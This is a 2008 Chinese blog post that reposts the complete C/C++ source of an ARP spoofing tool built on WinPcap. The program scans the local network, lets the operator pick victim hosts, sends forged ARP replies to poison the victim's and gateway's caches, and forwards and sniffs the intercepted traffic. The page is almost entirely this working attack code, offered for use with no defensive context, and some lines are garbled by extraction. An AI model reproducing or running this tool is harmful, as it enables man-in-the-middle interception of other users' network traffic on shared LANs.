载入中,请稍候……

arp攻击源代码(收集)

Admin 于 2008-08-25 06:26:13 发表C/C++

订阅: http://www.miniboke.com/Feed/Article_5.aspx
引用: http://www.miniboke.com/Trackback/PjhYNvmfjFJuYyjJgwMF.aspx (UTF-8)
c++监控u盘插入拔出 < arp攻击源代码(收集) > U盘小偷c++源码

  1. #include <stdlib.h> 
  2. #include <stdio.h> 
  3. #include <pcap.h> //winpcap的头文件 
  4. #include <winsock2.h> 
  5. #include <process.h> //多线程编程的头文件 
  6. #include <windows.h> 
  7. #include <Iphlpapi.h> //提取网关用的头文件 
  8.  
  9.  
  10. #pragma comment(lib,"ws2_32") 
  11. #pragma comment(lib,"pcap") 
  12. #pragma comment(lib,"IPHlpApi") 
  13.  
  14. //////////////////////////////////////////////////////////////////// 
  15. #define IPTOSBUFFERS 12 
  16. #define MOSTCHEATNUMBER 256 //最大的欺骗数目 
  17. #define ETH_IP 0x0800 //定义各种标识的数值 
  18. #define ETH_ARP 0x0806 
  19. #define ARP_REPLY 0x0002 
  20. #define ARP_REQUEST 0x0001 
  21. #define ARP_HARDWARE 0x0001 
  22. ///////////////////////////////////////////////////////////////////// 
  23. typedef struct ethdr //以太头结构 
  24. unsigned char eh_dst[6]; 
  25. unsigned char eh_src[6]; 
  26. unsigned short eh_type; 
  27. }ETHDR,*PETHDR; 
  28.  
  29. typedef struct arphdr //arp头结构 
  30. unsigned short arp_hdr; 
  31. unsigned short arp_pro; 
  32. unsigned char arp_hln; 
  33. unsigned char arp_pln; 
  34. unsigned short arp_opt; 
  35. unsigned char arp_sha[6]; 
  36. unsigned long arp_spa; 
  37. unsigned char arp_tha[6]; 
  38. unsigned long arp_tpa; 
  39. }ARPHDR,*PARPHDR; 
  40.  
  41. typedef struct acttiveIpwithMac //用于存储ip与对应mac的结构 
  42. acttiveIpwithMac* next; 
  43. unsigned long ip; 
  44. unsigned char mac[6]; 
  45. }acttiveIpwithMac,*PacttiveIpwithMac; 
  46. //////////////////////////////////////////////////////////////////////////// 
  47. char *iptos(u_long in); //用来将网络的ip地址转换成4字节形式 
  48. void ifprint(pcap_if_t *d); //显示pcap_if结构的信息 
  49. int macequal(PacttiveIpwithMac m,PacttiveIpwithMac n); //判断两个mac是否相同 
  50. int getmmac(); //获得自己mac的函数.用pcap实现.当让还可以用GetAdaptersInfo来获得 
  51. unsigned int _stdcall sendpackettogetallacttiveIpwithMac(void *x); //向局域网内发arp请求包扫描 
  52. unsigned int _stdcall recvpackettogetallacttiveIpwithMac(void *x); //接受并存储局域网的arp响应信息 
  53. unsigned int _stdcall sproof(void *x); //欺骗某一特定的主机,需传递主机的序号,序号由扫描获得 
  54. unsigned int _stdcall transmitandsniffer(void *x); //转发包的线程 
  55. int Getgatewayip(ULONG choosedip); //获取本地的网关ip 
  56. ////////////////////////////////////////////////////////////////////////// 
  57. PacttiveIpwithMac myip,gateip,Pipmachead=NULL; //定义全局变量记录我的和网关的ip和mac 
  58. ULONG mynetmask; //我的子网掩码 
  59. pcap_t *slecadopt; //指向选择网卡的指针 
  60. int Ssendover=0; //用于控制线程的标志 
  61. int cheat[MOSTCHEATNUMBER]; //用于控制欺骗线程的标志 
  62.  
  63. /////////////////////////////////////////////////////////////////////////// 
  64. int main() 
  65.   myip=new acttiveIpwithMac; //记录自己的ip 
  66. gateip=new acttiveIpwithMac; //记录网关的ip 
  67. u_long sendarphd,recvarphd,transhd,sproofhd[MOSTCHEATNUMBER]; //用于线程控制的变量 
  68.   PacttiveIpwithMac z,k,j; 
  69.   unsigned sendarpid,recvarpid,transid,sproofid[MOSTCHEATNUMBER]; //用于线程控制的变量 
  70.   pcap_if_t *alldevs,*d; //pcap里对网卡的控制量 
  71. int i=0,m,maxactive,inum; 
  72.  
  73. char error[PCAP_ERRBUF_SIZE]; 
  74.  
  75.    
  76. /* 获得网卡的列表 */ 
  77. if (pcap_findalldevs(&alldevs, error) == -1) 
  78. fprintf(stderr,"Error in pcap_findalldevs: %s\n", error); 
  79. return -1; 
  80. /* 打印网卡信息 */ 
  81. for(d=alldevs; d; d=d->next) 
  82. printf("%d. ", ++i); 
  83.   ifprint(d); /* 循环调用ifprint() 来显示pcap_if结构的信息*/ 
  84. if (d->description) 
  85. printf(" (%s)\n", d->description); 
  86. else 
  87. printf(" (No description available)\n"); 
  88.    
  89. if(i==0) 
  90. printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); 
  91. return -1; 
  92. printf("Enter the interface number (1-%d):",i); 
  93. scanf("%d", &inum); //输入要选择打开的网卡号 
  94. if(inum < 1 || inum > i) //判断号的合法性 
  95. printf("\nInterface number out of range.\n"); 
  96. /* Free the device list */ 
  97. pcap_freealldevs(alldevs); 
  98. return -1; 
  99. /* 找到要选择的网卡结构 */ 
  100. for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); 
  101.   /*找到我的ip*/ 
  102.   myip->ip=((struct sockaddr_in *)d->addresses->addr)->sin_addr.s_addr; 
  103.   /*获得选择网卡的子网掩码*/ 
  104.   mynetmask=((struct sockaddr_in *)d->addresses->netmask)->sin_addr.s_addr; 
  105.   //printf("netmask:%s\n\n",iptos(mynetmask)); 
  106. /* 打开选择的网卡 */ 
  107. if((slecadopt = pcap_open_live(d->name, 1000, 1, 1, error) ) == NULL) 
  108. fprintf(stderr,"\nError opening adapter: %s\n", error); 
  109.   pcap_freealldevs(alldevs); 
  110. return -1; 
  111. /*获取网关的信息*/ 
  112. if(Getgatewayip(myip->ip)) 
  113.   printf("\tGateway: %s\n",iptos(gateip->ip)); 
  114. /*获取本地mac*/ 
  115.   while(getmmac()==0); 
  116.   printf("my mac: %02x:%02x:%02x:%02x:%02x:%02x\n\n",myip->mac[0],myip->mac[1],myip->mac[2],myip->mac[3],myip->mac[4],myip->mac[5]); 
  117.  
  118. /*扫描局域网内活动主机*/ 
  119. sendarphd=_beginthreadex(NULL,0,sendpackettogetallacttiveIpwithMac,0,0,&sendarpid);//开启arp扫描包线程 
  120.   recvarphd=_beginthreadex(NULL,0,recvpackettogetallacttiveIpwithMac,0,0,&recvarpid);//开启接收arp响应包线程 
  121. WaitForSingleObject((HANDLE)sendarphd,INFINITE); //主线程停止等待发送线程结束 
  122.   for(m=5;m>0;m--) 
  123.   { 
  124.   printf("scanning\n"); 
  125. Sleep(500); //等待回应包到达,共等2500ms.不够可调 
  126.   } 
  127.   Ssendover=1;//置标志,停止接收线程 
  128.   WaitForSingleObject((HANDLE)recvarphd,INFINITE); //主线程停止等待接收线程结束 
  129.   if(Pipmachead!=NULL) 
  130.   { 
  131.   /*去处重复的活动主机*/ 
  132.   for(k=Pipmachead;k->next!=NULL;k=k->next) 
  133.   for(z=k;z->next!=NULL;) 
  134.   { 
  135.   if((k->ip==z->next->ip)&&(macequal(k,z->next))) 
  136.   { 
  137. j=z->next; 
  138.   z->next=j->next; 
  139.   delete j; 
  140.   } 
  141.   else 
  142. z=z->next; 
  143.   } 
  144.   /*输出列表*/ 
  145.   for(z=Pipmachead,i=1;z!=NULL;z=z->next,i++) 
  146. printf("%-3d ip=%-20s mac=%02x:%02x:%02x:%02x:%02x:%02x\n",i,iptos(z->ip),z->mac[0],z->mac[1],z->mac[2],z->mac[3],z->mac[4],z->mac[5]); 
  147.   } 
  148.   for(k=Pipmachead;k->next!=NULL;k=k->next) 
  149. if(k->ip==gateip->ip) 
  150. gateip=k; 
  151.   maxactive=i-1; 
  152.   CloseHandle((HANDLE)sendarphd); 
  153.   CloseHandle((HANDLE)recvarphd); 
  154.   transhd=_beginthreadex(NULL,0,transmitandsniffer,0,0,&transid); //开启转发线程 
  155. printf("transmitandsniffer已经开始了!!\n"); 
  156.   for(i=0;i<256;i++) 
  157. cheat=0; 
  158.   printf("已经得到了本局域网的活动主机!!!\n选择你想欺骗的机器序号一次一台:"); 
  159. printf("选择你想欺骗的机器序号:\n"); 
  160.   for(;;) 
  161.   { 
  162.   scanf("%d",&i); 
  163.   if(i>0&&i<=maxactive) 
  164.   { 
  165.   if(cheat[i-1]==0) 
  166.   { 
  167.   cheat[i-1]=1; 
  168.   sproofhd[i-1]=_beginthreadex(NULL,0,sproof,&i,0,&sproofid[i-1]); 
  169.   } 
  170.   else 
  171.   printf("\n%d号机已经欺骗了!!大佬!!\n",i); 
  172.   } 
  173.   else if(i<0&&i>=-maxactive) 
  174.   { 
  175.   if(cheat[-i-1]==1) 
  176.   { 
  177. cheat[-i-1]=0; 
  178. CloseHandle((HANDLE)sproofhd[i-1]); 
  179.   } 
  180.   else 
  181.   printf("\n%d号机没欺骗怎么结束啊!!大佬!!\n",-i); 
  182.  
  183.   } 
  184.   else if(i>maxactive||-i>maxactive) 
  185.   { 
  186.   printf("\n没有这么多机器,大哥,只有%d台!!\n",maxactive); 
  187.   } 
  188.   else 
  189.   { 
  190. for(i=0;i<256;i++) 
  191.   cheat=0; 
  192.   } 
  193.   Sleep(100); 
  194. Sleep(100); 
  195.   Sleep(100); 
  196.   Sleep(100); 
  197. for(i=0;i<256;i++) 
  198. if(cheat==1) 
  199.   printf("\n%d号机正在被欺骗和嗅探选择,想退出对此机的嗅探输入-%d",i+1,i+1); 
  200. Sleep(100); 
  201.   Sleep(100); 
  202.   printf("\n选择你想嗅探的机器序号:"); 
  203.    
  204.   } 
  205.   return 1; 
  206.  
  207. char *iptos(u_long in) 
  208. static char output[IPTOSBUFFERS][3*4+3+1]; 
  209. static short which; 
  210. u_char *p; 
  211. p = (u_char *)&in; 
  212. which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1); 
  213. sprintf(output[which], "%d.%d.%d.%d", p[0], p[1], p[2], p[3]); 
  214. return output[which]; 
  215.  
  216. int macequal(PacttiveIpwithMac m,PacttiveIpwithMac n) 
  217. int i=0; 
  218. if(memcmp(n->mac,m->mac,6)==0) 
  219. i=1; 
  220. return i; 
  221.  
  222. void ifprint(pcap_if_t *d) 
  223. pcap_addr_t *a; 
  224. /* Name */ 
  225. printf("%s\n",d->name); 
  226. /* Description */ 
  227. if (d->description) 
  228. printf("\tDescription: %s\n",d->description); 
  229. /* Loopback Address*/ 
  230. printf("\tLoopback: %s\n",(d->flags & PCAP_IF_LOOPBACK)?"yes":"no"); 
  231. /* IP addresses */ 
  232. for(a=d->addresses;a;a=a->next) 
  233. printf("\tAddress Family: #%d\n",a->addr->sa_family); 
  234. /*关于 sockaddr_in 结构请参考其他的网络编程书*/ 
  235. switch(a->addr->sa_family) 
  236. case AF_INET: 
  237. printf("\tAddress Family Name: AF_INET\n");//打印网络地址类型 
  238. if (a->addr)//打印IP地址 
  239. printf("\tAddress: %s\n",iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr)); 
  240. if (a->netmask)//打印掩码 
  241. printf("\tNetmask: %s\n",iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr)); 
  242. if (a->broadaddr)//打印广播地址 
  243. printf("\tBroadcast Address: %s\n",iptos(((struct sockaddr_in *)a->broadaddr)->sin_addr.s_addr)); 
  244. if (a->dstaddr)//目的地址 
  245. printf("\tDestination Address: %s\n",iptos(((struct sockaddr_in *)a->dstaddr)->sin_addr.s_addr)); 
  246. break
  247. default
  248. printf("\tAddress Family Name: Unknown\n"); 
  249. break
  250.  
  251. int Getgatewayip(ULONG choosedip) 
  252. PIP_ADAPTER_INFO pAdapterInfo; 
  253. PIP_ADAPTER_INFO pAdapter = NULL; 
  254. DWORD dwRetVal = 0;; 
  255. //ULONG p; 
  256.  
  257. pAdapterInfo = (IP_ADAPTER_INFO *) malloc( sizeof(IP_ADAPTER_INFO) ); 
  258. ULONG ulOutBufLen = sizeof(IP_ADAPTER_INFO); 
  259.  
  260. // Make an initial call to GetAdaptersInfo to get 
  261. // the necessary size into the ulOutBufLen variable 
  262. if (GetAdaptersInfo( pAdapterInfo, &ulOutBufLen) == ERROR_BUFFER_OVERFLOW) 
  263. free(pAdapterInfo); //malloc动态声请的空间要free 
  264. pAdapterInfo = (IP_ADAPTER_INFO *) malloc (ulOutBufLen); 
  265.  
  266. if ((dwRetVal = GetAdaptersInfo( pAdapterInfo, &ulOutBufLen)) == NO_ERROR) 
  267. pAdapter = pAdapterInfo; 
  268.   while (pAdapter) 
  269. if(myip->ip==inet_addr(pAdapter->IpAddressList.IpAddress.String)) 
  270.   { 
  271.   gateip->ip=inet_addr(pAdapter->GatewayList.IpAddress.String); 
  272.   return 1; 
  273.   } 
  274. printf("\t***\n"); 
  275.   pAdapter = pAdapter->Next; 
  276. return 0; 
  277.  
  278. int getmmac() 
  279. unsigned char sendbuf[42]; 
  280. int i=7,k; 
  281. ETHDR eth; 
  282. ARPHDR arp; 
  283. struct pcap_pkthdr * pkt_header; 
  284. u_char * pkt_data; 
  285.  
  286. for(k=0;k<6;k++) 
  287. eth.eh_dst[k]=0xff; 
  288. eth.eh_src[k]=0x0f; 
  289. arp.arp_sha[k]=0x0f; 
  290. arp.arp_tha[k]=0x00; 
  291. eth.eh_type=htons(ETH_ARP); 
  292. arp.arp_hdr=htons(ARP_HARDWARE); 
  293. arp.arp_pro=htons(ETH_IP); 
  294. arp.arp_hln=6; 
  295. arp.arp_pln=4; 
  296. arp.arp_opt=htons(ARP_REQUEST); 
  297. arp.arp_tpa=myip->ip; 
  298. arp.arp_spa=inet_addr("127.0.0.2"); //随便设的请求方ip 
  299.  
  300. memset(sendbuf,0,sizeof(sendbuf)); 
  301. memcpy(sendbuf,e,sizeof(eth)); 
  302. memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp)); 
  303.  
  304. if(pcap_sendpacket(slecadopt,sendbuf,42)==0) 
  305. printf("PacketSend succeed\n\n"); 
  306. else 
  307. printf("PacketSendPacket in getmine Error: %d\n",GetLastError()); 
  308. return 0; 
  309.  
  310. while((k=pcap_next_ex(slecadopt,&pkt_header,(const u_char**)&pkt_data))>=0) 
  311. if(*(unsigned short *)(pkt_data+12)==htons(ETH_ARP)&&*(unsigned short*)(pkt_data+20)==htons(ARP_REPLY)&&*(unsigned long*)(pkt_data+38)==inet_addr("127.0.0.2")) 
  312.  
  313. for(i=0;i<6;i++) 
  314. myip->mac=*(unsigned char*)(pkt_data+22+i); 
  315. break
  316. if(i==6) 
  317. return 1; 
  318. else 
  319. return 0; 
  320.  
  321. unsigned int _stdcall sendpackettogetallacttiveIpwithMac(void *x) 
  322. ULONG tip,subnetsta,subnetend; 
  323. unsigned char sendbuf[42]; 
  324. int k; 
  325. ETHDR eth; 
  326. ARPHDR arp; 
  327.  
  328.  
  329. subnetsta=htonl(myip->ip&mynetmask); //计算内网ip起点 
  330. subnetend=htonl(htonl(subnetsta)|(~mynetmask)); //计算内网ip结束 
  331.  
  332. for(k=0;k<6;k++) 
  333. eth.eh_dst[k]=0xff; 
  334. eth.eh_src[k]=myip->mac[k]; 
  335. arp.arp_sha[k]=myip->mac[k]; 
  336. arp.arp_tha[k]=0x00; 
  337. eth.eh_type=htons(ETH_ARP); 
  338. arp.arp_hdr=htons(ARP_HARDWARE); 
  339. arp.arp_pro=htons(ETH_IP); 
  340. arp.arp_hln=6; 
  341. arp.arp_pln=4; 
  342. arp.arp_opt=htons(ARP_REQUEST); 
  343. arp.arp_spa=myip->ip; 
  344. memset(sendbuf,0,sizeof(sendbuf)); 
  345. memcpy(sendbuf,e,sizeof(eth)); 
  346. for(tip=subnetsta;tip<=subnetend;tip++) 
  347. arp.arp_tpa=htonl(tip); 
  348. memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp)); 
  349.  
  350.   if(pcap_sendpacket(slecadopt,sendbuf,42)!=0) 
  351. printf("Getallactive ip PacketSendPacket in getmine Error: %d\n",GetLastError()); 
  352. return 0; 
  353. return 1; 
  354.  
  355. unsigned int _stdcall recvpackettogetallacttiveIpwithMac(void *x) 
  356. struct pcap_pkthdr * pkt_header; 
  357. u_char * pkt_data; 
  358. PacttiveIpwithMac p,q; 
  359. int i; 
  360. while((pcap_next_ex(slecadopt,&pkt_header,(const u_char**)&pkt_data))>0) 
  361. if(*(unsigned short *)(pkt_data+12)==htons(ETH_ARP)&&*(unsigned short*)(pkt_data+20)==htons(ARP_REPLY)&&*(unsigned long*)(pkt_data+38)==myip->ip) 
  362. p=new acttiveIpwithMac; 
  363. p->next=NULL; 
  364. p->ip=*(unsigned long*)(pkt_data+28); 
  365. for(i=0;i<6;i++) 
  366.   p->mac=*(unsigned char*)(pkt_data+22+i); 
  367. if(Pipmachead==NULL) 
  368.   Pipmachead=p; 
  369. q=p; 
  370. else 
  371. q->next=p; 
  372. q=p; 
  373. if(Ssendover==1) 
  374.   return 1; 
  375.  
  376. return 1; 
  377.  
  378. unsigned int _stdcall transmitandsniffer(void *x) 
  379. struct changemac 
  380. unsigned char mac[12]; 
  381. }; 
  382. unsigned char bcast[6]; 
  383. memset(bcast,0xff,sizeof(bcast)); 
  384.  
  385. unsigned char sendbuf[1600]; 
  386. struct pcap_pkthdr * pkt_header; 
  387. u_char * pkt_data; 
  388. changemac *cmac,*togatewaymac; 
  389. PacttiveIpwithMac z; 
  390. int i,j; 
  391.  
  392. cmac=new changemac; 
  393. togatewaymac=new changemac; 
  394. memcpy(togatewaymac->mac,gateip->mac,6); 
  395. memcpy(togatewaymac->mac+6,myip->mac,6); 
  396.  
  397. //printf("1have run to here!!!\n"); 
  398. while((j=pcap_next_ex(slecadopt,&pkt_header,(const u_char**)&pkt_data))>=0) 
  399.   if(j==0) 
  400. //printf("2have run to here!!!\n"); 
  401. continue
  402.  
  403. if(*(unsigned short *)(pkt_data+12)==htons(ETH_IP)&&(!(memcmp(pkt_data+6,myip->mac,6)==0))&&*(unsigned long *)(pkt_data+30)!=myip->ip&&(!(memcmp(pkt_data,bcast,6)==0)))//(*(unsigned char*)(pkt_data+6)==myip->mac[0]&&*(unsigned char*)(pkt_data+7)==myip->mac[1]&&*(unsigned char*)(pkt_data+8)==myip->mac[2]&&*(unsigned char*)(pkt_data+9)==myip->mac[3]&&*(unsigned char*)(pkt_data+10)==myip->mac[4]&&*(unsigned char*)(pkt_data+11)==myip->mac[5]))) 
  404. //if()//(!(*(unsigned char*)(pkt_data+0)==0xff&&*(unsigned char*)(pkt_data+1)==0xff&&*(unsigned char*)(pkt_data+2)==0xff&&*(unsigned char*)(pkt_data+3)==0xff&&*(unsigned char*)(pkt_data+4)==0xff&&*(unsigned char*)(pkt_data+5)==0xff))&&) 
  405. //{ //for(i=0;i<6;i++) 
  406. // printf("%02x:",*(unsigned char*)(pkt_data+i)); 
  407. //printf("33have run to here!!!\n"); 
  408. memcpy(sendbuf,pkt_data,pkt_header->caplen); 
  409.   memcpy(sendbuf,togatewaymac,12); 
  410. for(z=Pipmachead;z!=NULL;z=z->next) 
  411. {//printf("444have run to here!!!\n"); 
  412.   if(*(unsigned long *)(pkt_data+30)==z->ip) 
  413.   i=0; 
  414. //printf("jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjip=%s",iptos(z->ip)); 
  415.   //for(;i<6;i++) 
  416.   //cmac->mac=z->mac; 
  417. memcpy(cmac->mac,z->mac,6); 
  418.   //for(;i<12;i++) 
  419.   //cmac->mac=myip->mac[i-6]; 
  420. memcpy(cmac->mac+6,myip->mac,6); 
  421.   //memset(sendbuf,0,sizeof(sendbuf)); 
  422.  
  423.   memcpy(sendbuf,cmac,12); 
  424.       /*if(*///!=0) 
  425. break
  426. //{ 
  427.   // printf("tansmit Error: %d\n",GetLastError()); 
  428.   // return 0; 
  429. // } 
  430.  
  431.  
  432.  
  433.  
  434. pcap_sendpacket(slecadopt,sendbuf,pkt_header->caplen); 
  435.    
  436. //}//printf("getip:%s len:%d\n",iptos(*(unsigned long *)(pkt_data+30)),pkt_header->caplen); 
  437.  
  438. return 1; 
  439.  
  440. unsigned int _stdcall sproof(void *x) 
  441. int j,i=*(int*)x; 
  442. unsigned char sendbuftogate[42],sendbuftosp[42],rsendbuftogate[42],rsendbuftosp[42]; 
  443. PacttiveIpwithMac spip; 
  444. ETHDR eth; 
  445. ARPHDR arp; 
  446. int k; 
  447.  
  448. for(spip=Pipmachead,j=0;j<i-1;spip=spip->next,j++); 
  449. printf("%-3d ip=%-20s mac=%02x:%02x:%02x:%02x:%02x:%02x\n",i,iptos(spip->ip),spip->mac[0],spip->mac[1],spip->mac[2],spip->mac[3],spip->mac[4],spip->mac[5]); 
  450.  
  451.  
  452. for(k=0;k<6;k++) 
  453. eth.eh_dst[k]=gateip->mac[k]; 
  454. eth.eh_src[k]=myip->mac[k]; 
  455. arp.arp_sha[k]=myip->mac[k]; 
  456. arp.arp_tha[k]=gateip->mac[k]; 
  457. eth.eh_type=htons(ETH_ARP); 
  458. arp.arp_hdr=htons(ARP_HARDWARE); 
  459. arp.arp_pro=htons(ETH_IP); 
  460. arp.arp_hln=6; 
  461. arp.arp_pln=4; 
  462. arp.arp_opt=htons(ARP_REPLY); 
  463. arp.arp_spa=spip->ip; 
  464. arp.arp_tpa=gateip->ip; 
  465.  
  466. memset(sendbuftogate,0,sizeof(sendbuftogate)); 
  467. memcpy(sendbuftogate,e,sizeof(eth)); 
  468. memcpy(sendbuftogate+sizeof(eth),&arp,sizeof(arp)); 
  469.  
  470. for(k=0;k<6;k++) 
  471. eth.eh_dst[k]=spip->mac[k]; 
  472. eth.eh_src[k]=myip->mac[k]; 
  473. arp.arp_sha[k]=myip->mac[k]; 
  474. arp.arp_tha[k]=spip->mac[k]; 
  475. arp.arp_spa=gateip->ip; 
  476. arp.arp_tpa=spip->ip; 
  477.  
  478. memset(sendbuftosp,0,sizeof(sendbuftosp)); 
  479. memcpy(sendbuftosp,e,sizeof(eth)); 
  480. memcpy(sendbuftosp+sizeof(eth),&arp,sizeof(arp)); 
  481.  
  482. for(k=0;k<6;k++) 
  483. eth.eh_dst[k]=spip->mac[k]; 
  484. eth.eh_src[k]=gateip->mac[k]; 
  485. arp.arp_sha[k]=gateip->mac[k]; 
  486. arp.arp_tha[k]=spip->mac[k]; 
  487. arp.arp_spa=gateip->ip; 
  488. arp.arp_tpa=spip->ip; 
  489.  
  490. memset(rsendbuftosp,0,sizeof(rsendbuftosp)); 
  491. memcpy(rsendbuftosp,e,sizeof(eth)); 
  492. memcpy(rsendbuftosp+sizeof(eth),&arp,sizeof(arp)); 
  493.  
  494. for(k=0;k<6;k++) 
  495. eth.eh_dst[k]=gateip->mac[k]; 
  496. eth.eh_src[k]=spip->mac[k]; 
  497. arp.arp_sha[k]=spip->mac[k]; 
  498. arp.arp_tha[k]=gateip->mac[k]; 
  499. arp.arp_spa=spip->ip; 
  500. arp.arp_tpa=gateip->ip; 
  501.  
  502. memset(rsendbuftogate,0,sizeof(rsendbuftogate)); 
  503. memcpy(rsendbuftogate,e,sizeof(eth)); 
  504. memcpy(rsendbuftogate+sizeof(eth),&arp,sizeof(arp)); 
  505.  
  506. printf("已经进入%d号机的欺骗!!!\n",i); 
  507. while(TRUE) 
  508. if(pcap_sendpacket(slecadopt,sendbuftogate,42)!=0) 
  509.   printf("sendbuftogate Error: %d\n",GetLastError()); 
  510.   return 0; 
  511.  
  512.   if(pcap_sendpacket(slecadopt,sendbuftosp,42)!=0) 
  513.   printf("sendbuftosp Error: %d\n",GetLastError()); 
  514.   return 0; 
  515. Sleep(980); 
  516. if(cheat[i-1]==0) //重置被欺骗的目标机!! 
  517. for(j=10;j>0;j--) 
  518. if(pcap_sendpacket(slecadopt,rsendbuftogate,42)!=0) 
  519.   printf("sendbuftogate Error: %d\n",GetLastError()); 
  520.   return 0; 
  521.  
  522.   if(pcap_sendpacket(slecadopt,rsendbuftosp,42)!=0) 
  523.   printf("sendbuftosp Error: %d\n",GetLastError()); 
  524.   return 0; 
  525. printf("已经退出对%d号机的欺骗!!!\n",i); 
  526. return 1; 

 

被阅665次, 0投一票
  • 看完了要说点啥么?
  • 昵称 (不填说不了话)
  • 信箱地址 (不会被公开,但是不填也说不了话)
  • 网址 (这个不填也成)

Powered by MiniBoke v2.0.0.8 Build 0828

Copyright © 2008 迷你博客. All rights reserved.

粤ICP备07500939号